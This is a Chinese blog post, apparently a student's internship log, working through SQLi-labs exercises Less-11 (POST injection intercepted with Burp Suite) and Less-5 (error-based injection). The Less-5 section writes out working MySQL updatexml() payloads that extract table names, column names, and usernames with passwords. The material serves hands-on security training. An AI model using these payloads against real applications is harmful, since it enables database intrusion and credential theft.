粤嵌科技毕业实习Day10
粤嵌科技毕业实习Day10
注意:firefox和burp suite是配套使用的
post注入
Less-11
1、进入Less-11

都输入1,没有得到有用信息

2、打开burp suit抓包

可以知道uname和passwd是账户、密码分别对应的参数。将请求发送到repeater模块,进行下一步操作。
3、判断注入类型
(1) uname=1&passwd=1


回显正常。
(2)uname=1&passwd=1’


报错,所以可以判断为单引号字符型注入。
4、猜字段





可以知道有两个字段
5、使用联合查询注入
(1)查看库名


(2)查看表名


(3)查看users表的列名


(4)查看账户和密码



报错注入
Less-5
1、进入Less-5

2、判断注入类型



可以确定为字符型注入
3、使用updatexml方法来查询库名
and updatexml(1,concat(0x7e,database(),0x7e),1)--+

4、查询表名
and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

5、查询字段名
and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)--+

6、查询账户和密码
and updatexml(1,concat(0x7e,( select concat_ws('%23',id,username,password) from users),0x7e),1)--+

查询失败,不能一次获得所有账户和密码。
7、使用substring()字符串截取函数来获取单个账户和对应的密码。由于updatexml方法最多显示32个字符的错误信息,所以参数填32。首个为0,1,次之为1,1,依次类推。
and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,32) FROM security.users limit 0,1),0x7e),1) --+

and updatexml(1,concat(0x7e,(SELECT distinct SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,32) FROM security.users limit 1,1),0x7e),1) --+

本文作者:AlubNoBug
本文链接:https://www.cnblogs.com/AlubNoBug/p/13694092.html

浙公网安备 33010602011771号